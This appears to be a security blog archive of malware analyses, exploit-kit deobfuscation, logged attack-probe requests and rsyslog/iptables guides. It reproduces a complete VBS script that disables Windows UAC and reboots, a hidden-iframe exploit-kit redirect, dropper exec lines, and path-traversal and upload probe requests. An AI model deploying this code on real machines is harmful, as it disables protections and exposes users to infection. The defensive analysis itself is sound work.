Tuesday, June 21, 2016

Malware Disabling UAC

I recently saw malware that when executed dropped and executed another VBS script that was interesting, the VBS script code is here. In a nutshell, what it is doing is disabling UAC (User Access Control) prompting [aka LUA] on the Windows server so that the attacker can accomplish their desired tasks silenty behind the scenes with no prompting of the user.

As you can see below the attacker basically has 2 routes this code could take. The first route (red) is actually a recursive call back to this same script. The 2nd route (green)is the route that actually updates the UAC and restarts the workstation. Basically what this is saying is if the attacker runs this VBS script with no parameters, the 1st route (red) sets the default parameters, and if the attacker runs this VBS script with the appropriate parameters already passed thru then the script skips the 1st section and immediately runs the 2nd block (the else statement) (green).

If WScript.Arguments.length =0 Then
  Set objShell = CreateObject("Shell.Application")
  objShell.ShellExecute "wscript.exe", Chr(34) & WScript.ScriptFullName & Chr(34) & " uac", "", "runas", 1
Else
  Const UAC_DISABLE = 0
  Const UAC_REGKEY = "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA"
  Set Shell = CreateObject( "WScript.Shell" )
  Shell.RegWrite UAC_REGKEY, UAC_DISABLE, "REG_DWORD"
  Shell.Run "C:\WINDOWS\system32\shutdown.exe -r -t 10"
end if


In the 1st chunk (red) the attacker is checking if there are no parameters passed. If so, then he opens a command prompt shell and executes the wscript.exe executable and sends to the name of this script plus the single parameter 'uac' (which isn't actually used anywhere). But the attacker also makes sure that the wscript.exe executable is run with elevated privileges (runas 1 is the equivalent of right-click run as administrator). This will essentially re-execute the script we're already in but passes in 1 parameter and ensures it's running as admin.

In the 2nd chunk (green) this is where the attacker does the damage. He creates a Windows Script Host object that can run commands against the windows operating system. There are 2 commands of interest. The first is Shell.RegWrite which means he's going to create or overwrite an existing registry entry. In this case he's writing over the EnableLUA property and setting the value to 0 which essentially turns off UAC prompting so the user will be blind to the fact that elevated commands are being run. The only downsides for the attacker is that this script itself will initially prompt the user with a UAC prompt which is windows essentially making a last ditch effort to save the user from disabling UAC. The other downside for the attacker is that the system needs to be rebooted for this to take effect. So the next command is to do Shell Run which runs a command prompt with the shutdown.exe executable saying to restart in 10 seconds.

If the user clicks yes to the UAC prompt and runs this script, there will be no more UAC prompting for elevated commands and the attacker can freely run his malware behind the scenes without the end user noticing.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Tuesday, June 7, 2016

Forwarding iptables logs to rsyslog

If you have a central logging system and you already forward syslogs from your linux server to it, the commands are pretty easy to enable logging for iptables (your local firewall) to auto-forward your firewall permits, denies, etc..

To do this you'd actually be running iptables commands such as this to log inbound tcp connections

iptables -N MYLOGS
iptables -A MYLOGS -j LOG --log-prefix ' INBOUND TCP ' --log-level 4
iptables -A MYLOGS -j ACCEPT
iptables -A INPUT -p tcp -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp -j MYLOGS


Or perhaps something like this to log outbound tcp outbound connections

iptables -N MYLOGS
iptables -A MYLOGS -j LOG --log-prefix ' OUTBOUND TCP ' --log-level 4
iptables -A MYLOGS -j ACCEPT
iptables -A OUTPUT -p tcp -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -p tcp -j MYLOGS


Once you run those commands you're done, iptables does all the rest for you and forwards to syslog!

You could validate syslogging is actually sending the logs by running tcpdump and capturing traffic going outbound to that ip

tcpdump -i eth0 host XX.XX.XX.XX
listening on eth0
13:41:57.322554 IP YY.YY.YY.YY.57529 > XX.XX.XX.XX.514: SYSLOG authpriv.notice, length: 101
13:41:57.322909 IP YY.YY.YY.YY.57529 > XX.XX.XX.XX.514: SYSLOG authpriv.info, length: 104
13:41:57.323224 IP YY.YY.YY.YY.57529 > XX.XX.XX.XX.514: SYSLOG authpriv.info, length: 89


Hope that helps make your iptables logging needs simpler.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Forward Apache Logs to rsyslog

If you have a central logging system and you already forward syslogs from your linux server to it, the commands are pretty easy to also auto-forward your Apache access logs (your web traffic).

First, open the configuration file with your favorite text editor (my choice was nano)

nano /etc/rsyslog.conf

In the file, at the top add the import module command to allow file monitoring

$ModLoad imfile

Then near the bottom of the file, but before your remote syslog @ command, add the following lines that will allow you to monitor the file

$InputFilePollInterval 10
$InputFileName /var/log/apache2/access.log
$InputFileTag apache-access:
$InputFileStateFile stat-apache-access
$InputFileSeverity info
$InputFilePersistStateInterval 20000
$InputRunFileMonitor


Then restart the syslog service for the changes to take effect

service rsyslog restart

Then validate syslogging is actually sending by running tcpdump and capturing traffic going outbound to that ip

tcpdump -i eth0 host XX.XX.XX.XX
listening on eth0
13:41:57.322554 IP YY.YY.YY.YY.57529 > XX.XX.XX.XX.514: SYSLOG authpriv.notice, length: 101
13:41:57.322909 IP YY.YY.YY.YY.57529 > XX.XX.XX.XX.514: SYSLOG authpriv.info, length: 104
13:41:57.323224 IP YY.YY.YY.YY.57529 > XX.XX.XX.XX.514: SYSLOG authpriv.info, length: 89


You can also verify apache access logs are enabled and working by viewing the log file that should have your logs at the bottom of them

nano /var/log/apache2/access.log

Hope that helps make your apache logging needs simpler.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Enabling Remote Syslogging with rsyslog

If you have a central logging system and you need to forward syslogs from your linux server to it, the commands are pretty simple especially if you're using rsyslog.

First, open the configuration file with your favorite text editor (my choice was nano)

nano /etc/rsyslog.conf

Add to the bottom of the file the following statement where XX.XX.XX.XX is the ip address or hostname of your remote log collection server.

*.* @XX.XX.XX.XX:514

Then restart the syslog service for the changes to take effect

service rsyslog restart

Then validate syslogging is actually sending by running tcpdump and capturing traffic going outbound to that ip

tcpdump -i eth0 host XX.XX.XX.XX
listening on eth0
13:41:57.322554 IP YY.YY.YY.YY.57529 > XX.XX.XX.XX.514: SYSLOG authpriv.notice, length: 101
13:41:57.322909 IP YY.YY.YY.YY.57529 > XX.XX.XX.XX.514: SYSLOG authpriv.info, length: 104
13:41:57.323224 IP YY.YY.YY.YY.57529 > XX.XX.XX.XX.514: SYSLOG authpriv.info, length: 89


You can also verify syslog itself is enabled and working by viewing some of they key log files that should have your logs at the bottom of them

nano /var/log/auth.log
nano /var/log/syslog


Hope that helps make your remote syslogging nice and easy.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Understanding VBA from an Invoice Email

This malicious email contained a microsoft word attachment with VB code in it. Here is a link to the full original macro code.

SUBJECT: RECONFIRM INVOICE
ATTACHMENT: RECONFIRM INVOICE.doc


The code was interesting because it seemed amateurish in terms of it's obfuscation. Sure there were tons of random looking letters, variable names, etc. But in general, this was poorly obfuscated, if at all. Here are a few examples:


Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHighMask

The above variable was used for doing bitwise masking of a string value, yet the attacker literally named it "HighMask" so you know exactly what it's used for.

Public Function Encode64(sString As String) As String

The above function literally performs base64 encoding of a string, so the name Encode64 makes sense and makes life simpler for the security researcher.

Public Sub Wipedir(pppppppppppppppppppppppppp As String)

The above function Wipredir calls the VBA deletefolder method in it, so again it's clearly deleting the evidence afterwards, thus the obfuscation here is poor.

So de-obfuscating this was quite simple then. One of the easier ways to quickly de-obfuscate VBA code like this is to put it into a word document, comment out the malicious lines, replace them with MsgBox statements, and execute the code, let the code do the work for you. For example:

Comment out this code with a tick

'MkDir (decryptString(Encode64(b)))

And replace it with this code

MsgBox ("MkDir=" + decryptString(Encode64(b)))



Comment out this code with a tick

'ChDrive (vEnd988888527)

And replace it with this code

MsgBox ("ChDrive=" + vEnd988888527)



Comment out this code with a tick

'Open vEnd3491963883 For Binary As vEnd1400215006

And replace it with this code

MsgBox ("OpenFile=" + vEnd3491963883)



Comment out this code with a tick

' OBsGG = Shell(vbHH, 1)

And replace it with this code

MsgBox ("Shell=" + vbHH)



Comment out this code with a tick

'OOO.deletefolder pppppppppppppppppppppppppp

And replace it with this code

MsgBox ("deletefolder=" + pppppppppppppppppppppppppp)



And like magic, you'll get a bunch of message boxes that tell you exactly what this code is trying to do. In this case
1.) Create a new folder C:\ProgramData\Memsys
2.) Navigate to that folder C:\ProgramData\Memsys
3.) Open and Write to a file C:\ProgramData\Memsys\ms.exe
4.) Execute that file from the command prompt C:\ProgramData\Memsys\ms.exe
5.) Delete that folder C:\ProgramData\Memsys


Of course always do this in a sandbox, not connected to the Internet, in case you accidentally execute malicious code that you didn't mean to and infect yourself.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Monday, June 6, 2016

Sample 2013 NTP Reflection Vulnerability

I see this request a lot. It's an old one and pretty simple to explain.

User Datagram Protocol, Src Port: 42024 (42024), Dst Port: 123 (123)
Network Time Protocol (NTP Version 2, private)
   Flags: 0x17, Response bit: Request, Version number: NTP Version 2, Mode: reserved for private use
   Auth, sequence: 23
   Implementation: XNTPD (3)
   Request code: MON_GETLIST_1 (42)
   0000 .... = Err: No error (0x00)
   .... 0000 0000 0000 = Number of data items: 0
   0000 .... = Reserved: 0x00
   .... 0000 0000 0000 = Size of data item: 0x0000


I believe it's a scan looking for an NTP reflection vulnerability that could be used then for a DDoS attack. At a high level here's how I understand it. The attacker sends a request to port 123 for a "mon_getlist" request and if the server is running NTP and is vulnerable the server returns a list of the last X number of IPs that have connected to it. Why is that an issue? Well, first off, the request is small (size wise, there is nothing to this packet, very tinY) but the response is HUGE, it could respond with hundred's of ip addresses and the packets can get very large. The other issue is that in this protocol source ips can be spoofed and thus the attacker can send a packet from 1 ip address, but spoof the source as another ip address (their victim) and what will happen is the attacker sends a bunch of tiny small NTP requests, but since the source is spoofed, the vulnerable NTP server sends a bunch of HUGE responses back to the spoofed ip address , who ends up being the victim. The victim will get all these huge packets sent to them and their servers will be overwhelmed and crash or cause a Denial of Service. The fix appears that you should disable this "mon_getlist" feature as it's not needed. Here's a few better links that explain this attack in more detail. [1] [2] [3]

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

vote.api.php File upload request

I saw this http post request

POST / HTTP/1.1
Host: www.mysite.com
Content-Type: multipart/form-data; boundary=----------------5UQqAg13N91D45i2
DNT: 1
Cache-Control: no-cache
Pragma: no-cache
submit=Upload Image
Name=cache.php
F1l3=vote.api.php


Figured it's likely some CMS file upload vulnerability somebody is trying to exploit. Just by googling I wonder if it's related to the Drupal Voting API but I cannot be certain. Whatever it is, it appears if you post to the url and then pass in the file you want to upload as a post parameter the file will get uploaded to the server ... thus an attacker would dump a web shell up there.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Java Deserialize Request Headers

I saw an interesting HTTP request in some web traffic. Normally when you see a web request you see the method as GET or POST for example. In this case it said t3 which doesn't seem normal?

t3 12.2.1
AS: 255
HL: 19
MS: 10000000
PU: t3://us-l-breens:7001


After some quick google searching I found a link to an exploit written in python that appears to be this exact HTTP request. So what is it? Well t3 appears to be a protocol used by Oracle for Java remote method invocation. Oh boy, that doesn't sound good. In general it's used to transport data between WebLogic Server and other Java programs. I believe that 12.2.1 is the weblogic version number. I believe AS: 255 is the abbreviation size (although not sure what that means) and HL: 19 is the header length. I'm wondering if MS: 10000000 might stand for message size although I couldn't confirm that? And PU: t3://us-l-breens:7001 I believe might be the proxy url? The us-l-breens is the name of the server (in this case it's the security researcher's [Stephen Breen] local server name), but from what I read it appears the exploit works no matter what you pass in.

It appears to be related to the Java Unserialize vulnerabilities in Oracle WebLogic. At a high level, that means that Oracle WebLogic uses the Java language, and somewhere in Oracle WebLogic it is listening for some serialized user input. When it receives that serialized user input in a flat string format it tries to deserialize that string into a nicer, cleaner, Java programming object/class. The problem was that Java doesn't correctly handle or deserialize some inputs and it can be used for remote code execution.

The python script linked above appears to connect to a particular vulnerable server and port , pass the headers in bold above to establish a connection (sock.sendall). Once the connection is established (sock.recv), the script concatenates the exploit payload (to trigger the deserialize issue) with the desired payload to be executed on the the server (your evil code) and sends that to the open connection (sock.send). See this blog for more details on the vulnerability.

Although this vulnerability is getting old now and you should've already patched it, its again interesting to see that there are still plenty of scanners out there looking for unpatched victims they can exploit.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Scans for Risky Web Folders

If you review your website , firewall, or IDS logs you may see scanners out on the Internet looking for these various folders, likely because if they are publically exposed they contain juicy information that could help and attacker take over your website.

http://www.mysite.com/_vti_cnf
http://www.mysite.com/_passwords/
http://www.mysite.com/passwords/
http://www.mysite.com/iisadmin/
http://www.mysite.com/~root
http://www.mysite.com/dmsdump/
http://www.mysite.com/oprocmgr-status/


I thought I'd take a second and explain a few of them.

For the _vti_cnf, if you go to a site that has frontpage extensions enabled, then this folder will give you a a complete listing of all the files in the real directory and with this information you could snatch useful files that were not meant to be exposed publically.

I'm going to guess the next 2 folder names give you access somehow to a passwords file or something that again isn't supposed to be exposed publically.

The iisadmin folder is for older versions of IIS that used to allow remote administration, which can be a very bad thing on a public facing site.

The ~root folder is likely referring to if you've somehow improperly configured your linux web server (like apache) to map to your root accounts home folder.

The dmsdump folder refers to Oracle's Dynamic Monitoring Services. Many of Oracle's services in older version were accessible remotely by anonymous users by default which is bad as this can lead to attackers having remote access to administer your server. This is also the case with the Oracle Java Process Manager (oprocmgr-status).

If you have any of these folders exposed on your site publically you've possibly already been compromised, but if not go take those folders down (or restrict them in httpd.conf or htaccess or similar) so they're no longer accessible to the bad guys. In many cases, you'll find that if these folders exists, you may also be using a super duper old unpatched version of software and thus you're going to need to do some major upgrades as well to fix all your issues.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Friday, June 3, 2016

De-Obfuscating Angler Again

I saw today's blog by @malware_traffic on 2016-06-02 - EK DATA DUMP (ANGLER EK, KAIXIN EK, RIG EK). In Brad's notes he listed 2 urls that I thought I'd look into a bit more today

212.231.130.9 port 80 - positivessl.online - GET /script/jquery.min.js - possible gate to Angler EK (I think)
162.252.83.62 port 80 - strachubedabbling.thompsons-online.co.uk - Angler EK


He posted the PCAP for this traffic, and so I opened it in Wireshark, did Export HTTP Object from the positivessl.online traffic and downloaded some raw obfuscated javascript. When looking at that javascript I realized that the variable Mjk2MjkxMDI1MQ was missing, so I looked back in the PCAP at the previous HTTP request and found this block of code

<script>var Mjk2MjkxMDI1MQ="\x4d\x54M\x31O\x54E\x34O\x44A\x35\x4dw";</script>
<script src="http://positivessl.online/script/jquery.min.js"></script>


So I created the variable

var Mjk2MjkxMDI1MQ="\x4d\x54M\x31O\x54E\x34O\x44A\x35\x4dw";


I added the HTML, BODY, and SCRIPT tags. I replaced the malicious function calls at the bottom with simply console.log statements.

console.log(MTEzMzMzNTAxOQ);
console.log(Mjk2MjkxMDI1MQ);
console.log(vrDCFrjI(MTEzMzMzNTAxOQ, Mjk2MjkxMDI1MQ));


And when I executed this code the de-obfuscated 1st layer of javascript was revealted.

Then I performed very similar steps removing all function calls (things typically with open close parenthesis) and replaced them with console.log statements to dump what the attacker was going to do without actually executing it. The results were the following simple iframe creating code.

window[document][createElement](iframe)
window[document][createElement](iframe)[width] = 13;
window[document][createElement](iframe)[height] = 13;
window[document][createElement](iframe)[style][cssText] = 'position:absolute;left:-1658px;top:-1668px';
window[document][createElement](iframe)[src] = 'http://strachubedabbling.thompsons-online.co.uk/YxuZYR/rTkNnLU/fOhXXjpeY/00757/sdmmTqbwdx-092620-zkbgrwhi.jpg';


So now we know what the bad guy was doing, without actually running it. He was creating a new iframe, setting the height and width to something tiny, setting the position off the screen so nobody sees it, and then setting the iframe url source to his malicious angler exploit.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Deofuscating Exploit Kit Iframe

Got an alert on a exploit kit redirect, went into the PCAP via wireshark and did export HTTP Objects and got this malicious exploit kit redirect code. After modifying it slightly and running my analysis code (changed the eval and cookie setting statements into console.log statements) I was able to extract this malicious redirect code which when all the above is executed generates this single DIV tag with a malicious iframe


More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Thursday, June 2, 2016

Partial Deobfuscation of an Angler EK SWF

I made an attempt to deofuscated and analyze a malicious Adobe Flash SWF file from Malware Traffic Analysis blog about the Angler Exploit kit. I ran through the steps I mentioned to export from the PCAP and turn the SWF file into ActionScript code.

I ended up with this ugly obfuscated mess of ActionScript code. Below is just a sampling, but here is the full obfuscated ActionScript code.

var _local1:* = new ((this.1[IlllI.11IIlI1lIl](IlllI.I11lI1IlI1) as Class))();
var _local2:* = new this.ll1IlI1II1lI()[IlllI.1lIlI1lI];
var _local3:int = _local2[IlllI.1lIIlI1lI1];
var _local4:int = _local2[IlllI.Ill1lI1];
var _local5:uint;
var _local6:uint = (10 - (5 * 2));
var _local7:int;
while (_local7 < _local3) {
  _local8 = 0;
  while (_local8 < _local4) {
   _local9 = _local2[IlllI.11lIlI](_local7, _local8);
   if ((((_local7 == 0)) && ((_local8 == 0)))){
     _local5 = (_local9 & 0xFFFFFF);
   }


I thought I'd take a stab at de-obfuscating this code, and I was decently successful with unraveling the first layer of obfuscation I thought. I pasted partial deobfuscated code here and thought I'd review some of it below. I deobfuscated it by renaming variables and functionings, removing unnecessary variable declarations and string concatenations, removing unnecessary nested function calls, etc.

public class Document extends MovieClip {
   public function Document(){
    super();
    if (this["stage"]){
      this.functionStartExploit();
    } else {
      this["addEventListener"]("addedToStage", this.functionStartExploit);
    };
   }


Per the above code, when the SWF file loads in the user's browser, it does the standard start for a flash file. It basically waits for the stage (the main area of the SWF) to load, and if it's not loaded yet it adds a listener which will trigger an event as soon as the stage has loaded. Once it's loaded the attacker starts the exploit.

public function functionStartExploit():void{
   this["removeEventListener"]("addedToStage", this.functionStartExploit);
   var _localEmbeddedSWF:* = new flash.display.Loader();
   _localEmbeddedSWF["loadBytes"](this.functionEmbeddedSWFFromBitmap());
   this["addChild"](_localEmbeddedSWF);
}


First the attacker removes the stage listener since it's already loaded now. Then the attacker creates a place holder for a nested SWF file (yes there is essentially a SWF within a SWF). There was an initial layer of obfuscation that involved all the renaming of variables, creating unnecessary string concatenations, etc. But there is a secondary layer of obfuscation that is occurring by loading an embedded SWF file inside this one. So the actual exploit isn't occurring in this SWF that I'm analyzing but in a nested one that appears to have been hidden in a Bitmap file as you'll see below. Once that embedded SWF is loaded, then it's added as a child to this SWF file so that it will load also.

private function functionEmbeddedSWFFromBitmap(){
   var _localMaliciousByteArray:* = new flash.utils.ByteArray();
   var _localBitmap:* = new BitmapAsset()["bitmapData"];
   ...
   while (_localCounter2 < _localBitmap["width"]) {
     while (_localCounterNested < _localBitmap["height"]) {
       _localPixel = _localBitmap["getPixel"](_localCounter2, _localCounterNested);
       ...
       _localMaliciousByteArray["writeByte"]((_localPixel & 0xFF));
       _localMaliciousByteArray["writeByte"](((_localPixel >> 8) & 0xFF));
       _localMaliciousByteArray["writeByte"](((_localPixel >> 16) & 0xFF));
       ...
       _localCounterNested++;
     };
     ...
     _localCounter2++;
   };
   ...
   _localMaliciousByteArray["position"] = 0;
   return (_localMaliciousByteArray);
}


Finally above when loading that embedded SWF from a BitMap file there is some additional altering or messing with the bytes before it's returned back and loaded into that nested location.

I found it interesting to see this nested obfuscation technique in action and it definitely makes it harder to analyze as a security researcher because the exploit you're looking for doesn't even actually exist in this SWF file that we spotted.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Decompile a Adobe Flash SWF File

If you were analyzing a malicious Adobe Flash SWF file, such as the ones mentioned in Brad's Malware Traffic Analysis blog about the Angler Exploit kit, you might be wondering what's actually a good way to analysis that SWF since it's already compiled and unreadable. Well, remember first if you have a PCAP with a SWF file in it, per a previous blog, you need to Export HTTP Object. Now that you have the SWF file it's actually quite easy to decompile and get some Adobe ActionScript code to review. You could use any free online decompiler like showmycode.com to upload the SWF file and it'll spit out immediately for you some ActionScript.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Zipped Site Content File Download Scans

Seeing various probing web requests that appear to be scanning the internet for zip, tar, or gz files that likely contain the full website content. If an attacker finds a file like this on your website, they can download it and it may contain critical configuration files that contain credentials in plain text, actual source code they can analyze, or various configuration settings that they can take advantage of. Make sure you don't have these files, or anything similar, on your site and if so, remove them.

HEAD /www.tar HTTP/1.1
HEAD /www.tar.gz HTTP/1.1
HEAD /www.zip HTTP/1.1
HEAD /public_html.tar HTTP/1.1
HEAD /public_html.tar.gz HTTP/1.1
HEAD /public_html.zip HTTP/1.1
HEAD /www.mysite.com.tar HTTP/1.1
HEAD /www.mysite.com.tar.gz HTTP/1.1
HEAD /www.mysite.com.zip HTTP/1.1



More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Wednesday, June 1, 2016

DVR File Path Traversal to Credentials

GET /../../../../../../../mnt/mtd/ijhe HTTP/1.1
Host: www.mysite.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0
Accept-Encoding: gzip
Connection: close


I saw this request come in and thought it was interesting. With some help google searching wondering if it's an attempt to exploit a DVR or security camera of some sort with perhaps a known file path traversal web vulnerability such as this DVR File Path Traversal vulnerability which would in theory allow the attacker to access the administrative credentials file in plain text and output it to their web browser.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

An Invoice email and a Hot mess of Java

I recently saw a malicious invoice email with a ZIP file attached. Inside the zip file was a jar file. I did a quick blog recently on how to decompile a jar file contents and see the actual Java code. So I did that on this email and here is the nasty looking obfuscated code. Now this malicious jar file was sandboxed and so we know what it was doing. Essentially is extracts and drops a visual basic script (.vbs) file and executes it to deliver the payload. But if you were to look at the Java code linked above you may wonder how on earth the attacker accomplished that? Considering how deeply obfuscated the java code is, you cannot find any reference to command line executions, etc. So I did my best to take a stab at figuring out how this java code actually executed and worked. I don't believe I figured it all out, but I'm hoping I'm getting close.



First I noticed the manifest file above.



When I opened it I noticed that the BEER class is where the jar file starts execution if double-clicked.



Above are all the java code files after I decompiled the class files contained in the jar archive. Now I went into the BEER.java file, but it was heavily obfuscated with no obvious path towards what was going on. So I tried a different methodology, instead I searched for any interesting method calls in any file. I found 2 that perked my interest the most. write and invoke. Hmmm those 2 sound to me like perhaps we have a file being written to disk and executed in some manner. Let's dig a little deeper by doing a reverse lookup of the stack trace for those methods.

public class ua
{
   public static byte[] v(InputStream d)
   {
     ByteArrayOutputStream a = new ByteArrayOutputStream();
     write();
   }
}


So above the write() function caught my eye. I believe here the Java ByteArrayOutputStream write method is likely being called to save a file to the victim's disk. Which file you ask? Let's see who calls this ua.v() method and what parameters they pass.

public class ue
{
   public ue()
   {
     m = ua.v(ur.v("/jabber/server/website/listener.k"));
     l = ua.v(ur.v("/instagram/mobile/chat/generic/log.txt"));
   }
}


Well, there are multiple calls to ua.v(), the 2 that are readable are found in the ue constructor , so I am pretty confident that it appears that some portions of the above files (listener.k and log.txt) are being written to the victim's disk. Perhaps not the whole file, or perhaps a decrypted/deobfuscated version of those files.

public class BEER
{
   public static void main(String b[])
   {
     ue a = new ue();
   }
}


And to complete the circle, I can see that in the BEER class which was the main function that starts the execution, the ue constructor is getting called. Thus clearly when the Jar file is executed we now can show that something is written to disk.

Now to look at the invoke method call and traverse back up the stack trace again, we start with where I found the invoke method. Now I am familiar with the invoke method having done Java programming in the past. This is reflection, or a way to programmatically at run-time call whatever function/method you want in whatever class you want. Reflection is cool because you don't have to know or specify which class or method you are calling at compile time in your code, instead you can load it dynamically on the fly. This is extremely powerful but also has it's downsides, including performance. It's expensive for a java program to have to look up information about itself (reflection) while executing. The other downside as we see here is the fact that is can be abused by malicious actors to abstract and obfuscate malicious code to the point where it's near impossible to find since the code getting executing doesn't necessarily even live in any of the code your analyzing.

public class uj
{
   public static void v(Method c)
   {
     c.invoke(null, a);
   }
}


So above we see the uj.v() method calling invoke which means that some Java Class/Code was loaded from somewhere, and now it's executing that method or code. This is likely where the main damage is being done by the malicious actor. In fact when this jar file was run against a sandbox we saw it executing several command prompt commands such as these that are likely invoked with the reflection code above using the Java Runtime exec command.

exec 'cmd.exe' '/C' 'cscript.exe' 'C:\Users\ADMINI~1\AppData\Local\Temp\Retrive3314751364727523362.vbs'
exec 'xcopy' '"C:\Progra~2\Java\jre1.8.0_0"' '"C:\Users\Administrator\AppData\Roaming\Oracle\"' '/e', null, null


Above you can see from the sandbox that perhaps a VBS script (.vbs) was extracted and written to disk with the write() method we discussed above. Then after that perhaps the xcopy command was executed to get some critical files into the AppData folder where that attacker has the ability to write and tinker with files. Just to complete the circle, let's follow the stack trace back up to see who or what called the uj.v() method which triggers the invoke call.

public class ug extends uu
{
   private void v()
   {
     java.lang.reflect.Method e;
     uj.v(e);
   }
   public ug(String b, HashMap a)
   {
     v();
   }
}


Above you can see that the ug.v() method calls the uj.v() method. And the ug constructor calls the ug.v() method. Just a nested obfuscated mess!

public class uz
{
   public uz(byte h[])
   {
     jarinputstream = g = new JarInputStream(new ByteArrayInputStream(h));
     String f;
     HashMap d;
     f = uk.v(jarinputstream);
     d = new HashMap();
     ug c = new ug(f, d);
   }
}


And above you can see that the ug constructor was called from the uz constructor. This method is interesting too because I'm seeing code in here that seems to load (perhaps from one of those files mentioned way up top) what appears to be a Jar input (using JarInputStream) from within this jar file (so now we have inception! a dream within a dream!). And with that jar file in the uk.v() method I see some keywords (e.g. java.util.jar.Attributes.Name(); that seem to indicate to me that maybe it's loading a class file from this jar file and then calling a method within that class file within that nested jar file using the invoke method we discussed above. Interesting. Now to load the file that contains the buried or nested Jar file they used the ByteArrayInputStream object which if we follow further up the rabbit hole ...

public class ue
{
   public ue()
   {      byte b[];
     uz a = new uz(b);
   }
}


We see that the uz constructor is getting called from within the ue constructor. I found it interesting that the byte array that is being passed in and used to load the JAR file mentioned in the previous segment is declared, but never actually filled. If you are a normal java programmer, you typically declare a variable such as int x; and then perhaps a few lines later you assign it a value such as x=5; but in this case they declared the byte array b but never assign it. OR SO YOU THINK! Thru the beauty of obfuscation, they actually are filling it without you noticing it. To understand you have to dig back in your mind to your assembly language days where you learned about the Heap and the Stack. In this case, the obfuscation occurs because the malicious actor is use Java ByteCode (essentially Java assembly language) to manipulate the stack values without actually touching the high level variables names like b seen above. In the code you may see several lines like this ... CORRECTION 6/21/2016: I believe the bytecode showing up is a limitation of the decompiler, not necessarily an obfuscation technique by the attacker

JVM INSTR new #21 ;
JVM INSTR pop2 ;
JVM INSTR dup ;


Above are just some samples of the many java bytecode / assembly instructions you see in this obfuscated mess. For example, the dup instruction duplicates the value at the top of the stack, the pop2 function pops 2 values off the top of the stack, and the new function actually allocates memory in the heap for a new class (similar to C malloc). So you can clearly see now that it's possible to manipulate the stack and obfuscate your payload very well using these java bytecode options directly in your java code.

public class BEER
{
   public static void main(String b[])
   {
     ue a = new ue();
   }
}


